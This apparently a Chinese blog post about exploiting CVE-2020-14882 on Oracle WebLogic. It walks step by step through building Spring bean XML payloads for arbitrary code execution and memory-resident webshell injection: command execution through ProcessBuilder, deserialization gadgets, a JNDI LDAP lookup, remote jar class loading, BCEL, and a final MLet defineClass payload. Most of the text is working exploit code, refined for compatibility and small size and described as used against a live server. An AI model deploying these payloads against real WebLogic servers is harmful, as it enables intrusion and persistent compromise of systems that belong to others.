0x00
背景
有一次通过CVE-2020-14882漏洞打了一台Windows上的weblogic 10.3.6.0,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value><![CDATA[calc]]></value> </list> </constructor-arg> </bean> </beans>
只能思考如何构造可以执行任意代码的spring bean xml来一键注入内存马了。
weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。
同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。
1. 兼容性高
2. 利用复杂度低
3. 简洁体积小
接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。
0x01
init-method系列payload
目前公开的payload是将恶意数据传入构成函数,然后通过init-method来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。
1.2 UnitOfWorkChangeSet
在weblogic 10.3.6.0版本有一个oracle.toplink.internal.sessions.UnitOfWorkChangeSet类,构造函数可以直接触发反序列化。
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet"> <constructor-arg> <list> <!-- 反序列化gadget序列化数据 --> <value type="byte">-84</value> <value type="byte">-19</value> <value type="byte">0</value> <value type="byte">5</value> ...... </list> </constructor-arg> </bean> </beans>
但是这个payload需要有gadget才能任意代码执行,显然不是很完美。
1.2 XmlDecoder
在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。
String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>"; ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); XMLDecoder xmlDecoder = new XMLDecoder(inputStream); xmlDecoder.readObject();
把上面代码转成spring bean如下:
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.beans.XMLDecoder" init-method="readObject"> <constructor-arg> <bean id="x" class="java.io.ByteArrayInputStream" > <constructor-arg> <list> <!-- xml序列化内容 --> <value type="byte">60</value> <value type="byte">106</value> <value type="byte">97</value> <value type="byte">118</value> <value type="byte">97</value> <value type="byte">62</value> ...... </list> </constructor-arg> </bean> </constructor-arg> </bean> </beans>
这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。
0x02
factory-method系列payload
后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路
1. 编写gadgetinspector规则挖掘符合条件的class
2. 再翻翻官方文档,看看有没有可能直接调用有参数方法。
很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看官方文档时,我着重关注如下涉及方法调用的标签和属性。
标签/属性
分析
调用构造器
创建bean时,可调setter方法
init-method
bean初始化时,可以调用一个无参方法
destroy-method
bean被销毁时,可以调用一个无参方法
lookup-method
可以控制返回结果,但是weblogic没有cglib库,这个标签没发用
replace-method
任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑
factory-method
通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以
很显然factory-method非常符合我们的要求,构造起payload就轻松多了。
2.1 jndi
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean class="javax.naming.InitialContext" factory-method="doLookup"> <constructor-arg type="java.lang.String" value="ldap://127.0.0.1:1664/exp"/> </bean> </beans>
jndi有jdk版本限制,so继续优化。
2.2 loadjar
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="classLoader" class="java.net.URLClassLoader" > <constructor-arg> <list> <value type="java.net.URL">http://127.0.0.1:1664/exp.jar</value> </list> </constructor-arg> </bean> <bean id="clazz" factory-bean="classLoader" factory-method="loadClass"> <constructor-arg type="java.lang.String" value="InjectMemshell"/> </bean> <bean factory-bean="clazz" factory-method="newInstance"> </bean> </beans>
加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。
2.3 bcel
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$...").newInstance();
代码转换为spring bean:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader"/> <bean id="clazz" factory-bean="classloader" factory-method="loadClass"> <constructor-arg type="java.lang.String" value="$$BCEL$$$......"/> </bean> <bean factory-bean="clazz" factory-method="newInstance"> </bean> </beans>
有的JDK版本bcel被去掉了,so还得继续构造。
2.4 java.lang.ClassLoader#defineClass
java下执行代码要说兼容性最好,当然还得是java.lang.ClassLoader#defineClass。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。
byte[] clazzBytes = new byte[]{-54,-2,-70,-66,0,......}; Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(new MLet(),clazzBytes,0,clazzBytes.length); clazz.newInstance();
通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。
构造过程还遇到一个问题,使用标签存储class字节码导致payload要大很多。当然有的人会想的用weblogic.utils.Hex来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑weblogic.*包名下的。最后找到了如下两个,不过1没有被当前classloader加载,只能选择2。
1. weblogic.servlet.utils.Base64
2. weblogic.utils.encoders.BASE64Decoder
最终优化如下,大概就是目前我觉得最好的payload了。如果你有更好的payload欢迎留言交流。
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/> <bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer"> <constructor-arg type="java.lang.String" value="yv66vgAAA......"/> </bean> <bean id="classLoader" class="javax.management.loading.MLet"/> <bean id="clazz" factory-bean="classLoader" factory-method="defineClass"> <constructor-arg type="[B" ref="clazzBytes"/> <constructor-arg type="int" value="0"/> <constructor-arg type="int" value="10692"/> </bean> <bean factory-bean="clazz" factory-method="newInstance"/> </beans>
顺便写一个woodpecker插件留以后备用,美如画。
0x03
参考文章
1.https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies